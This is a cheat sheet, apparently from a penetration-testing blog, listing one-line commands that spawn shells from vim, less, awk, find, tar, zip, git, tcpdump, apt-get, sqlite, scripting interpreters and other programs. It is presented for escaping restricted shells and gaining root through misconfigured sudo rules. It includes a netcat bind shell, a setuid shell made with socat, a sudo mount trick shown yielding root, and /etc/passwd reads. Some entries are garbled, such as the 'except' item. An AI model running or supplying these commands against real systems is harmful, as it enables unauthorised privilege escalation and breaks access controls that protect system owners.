Escape to shell
This post is a short reference of techniques to spawn a shell from regular Linux / Unix programs or scripting language interpreters.
Cheat-sheet is useful for getting out of limited environments or privilege
escalation via misconfigured sudo
profiles.
Please note that not all techniques presented here will work in every restricted environment, so it is up to you to find which methods will suit you best, depending on the situation.
It’s not intended to be a definite guide for escaping to shell techniques, slightly a basic cheat sheet.
- Vim
- rVim
- nano / pico
- man, less, more
- Awk
- find
- rbash
- limited shell lshell
- mysql client
- gdb
- Netcat, ncat
- Nmap
- tcpdump
- tar
- zip
- strace
- except
- scp
- ssh
- git
- script
- mount
- sqlite
- socat
- apt-get / apt / aptitude
- openssl
- Python
- Ruby
- Perl
- Lua
Vim
:sh
:!/bin/bash
rVim
rvim --cmd ":py import os;os.system('/bin/bash')"
or
:python import os; os.system("/bin/bash")
nano / pico
- Run
nano
withbash
as spellchecking program:nano -s /bin/bash
- Type:
/bin/bash
- Press
Ctrl-T
to run spellchecking
man, less, more
!shell
!/bin/bash
Note: for more
you may need to reduce the number of lines in the terminal:
stty rows 3 cols 80
Awk
awk 'BEGIN {system("/bin/sh")}'
find
find /dev/zero -exec /bin/bash \;
rbash
escape rbash
bash < 4.4
BASH_CMDS[poop]=/bin/bash;poop
file reading:
$(< ../../etc/passwd)
or
mapfile ARRAY < ../../etc/passwd ARRAY
echo $ARRAY
do not load profile files when connecting via ssh
:
ssh user@IP-ADDRESS -t "bash --noprofile"
limited shell lshell
python
echo os.system('/bin/bash')
MySQL client
mysql>\! bash
bash>
gdb
(gdb) ! id
(gdb) ! /bin/bash
(gdb) shell id
Netcat, ncat
nc -vlp PORT -e /bin/bash
nc HOST PORT
Nmap
nmap --script <(echo 'os.execute("/bin/sh")')
script from file:
nmap --script /tmp/script.nse
script.nse
:
os.execute("id")
obsolete, removed in Nmap 5.35DC1 [2010-07-16]
sudo nmap --interactive
Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h for help
nmap> !sh
tcpdump
cat <<EOF>shell.sh
#!/bin/bash
/bin/bash
EOF
chmod +x shell.sh
sudo tcpdump -G 1 -z ./shell.sh -w 1.pcap
Execute script while reading from a file, contents of test.sh
:
#!/bin/sh
id
create test.pcap
file larger that 1MB, run tcpdump
:
tcpdump -r /tmp/test.pcap -C 1 -w /dev/null -z /tmp/test.sh
tar
tar c --checkpoint=1 --checkpoint-action=exec=bash a a.tar
zip
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
strace
strace -o/dev/null /bin/bash
except
except spawn sh then sh
SCP
cat >/tmp/shell.sh <<EOF
/bin/bash >&2 0>&2
EOF
chmod +x shell.sh
scp -S /tmp/shell.sh x y:
ssh
ssh -o ProxyCommand=/tmp/shell.sh localhost
git
git -c core.pager=/tmp/shell.sh --paginate help
or
git commit
and escape from $EDITOR
or using rebase
git rebase --exec "COMMAND" master
shorter:
git rebase -ix "COMMAND" master
script
script -c /bin/bash /tmp/a
mount
user@host:~$ sudo mount -o bind /bin/bash /bin/mount
user@host:~$ sudo mount
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
GNU version only:
sudo mail --exec='!/bin/sh'
other:
sudo -u USER mail -u USER -s xxxx aaa
~!id
sqlite
sqlite3 /dev/null '.shell /bin/sh'
by loading an extension:
#include <unistd.h>
void main()
{
execl("/bin/sh", NULL);
}
compile as .so
:
gcc -g -fPIC -shared /tmp/shell.c -o /tmp/shell.so
load extension in sqlite
shell:
sqlite> .load /tmp/shell.so main
socat
socat file:/bin/sh file:sh,create,perm=4755 > /dev/null
./sh
or
socat exec:/bin/sh -
apt-get / apt / aptitude
a:
apt-get update -o APT::Update::Pre-Invoke::="/bin/bash -i"
b:
sudo apt-get changelog apt
!/bin/sh
openssl
read file:
openssl enc -in test.txt
write a file:
LFILE=file_to_write
echo DATA | openssl enc -out "$LFILE"
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
openssl enc -in "$TF" -out "$LFILE"
Python
>>> import pty
>>> pty.spawn('/bin/bash')
or
>>> import os
>>> os.system('ls')
>>> os.system('/bin/bash')
Ruby
ruby -e 'exec "/bin/sh"'
or
irb
irb(main):001:0> exec '/bin/bash'
Perl
perl -e 'exec "/bin/sh";'
Lua
os.execute('/bin/sh')
or from shell:
lua -e 'os.execute("/bin/sh")'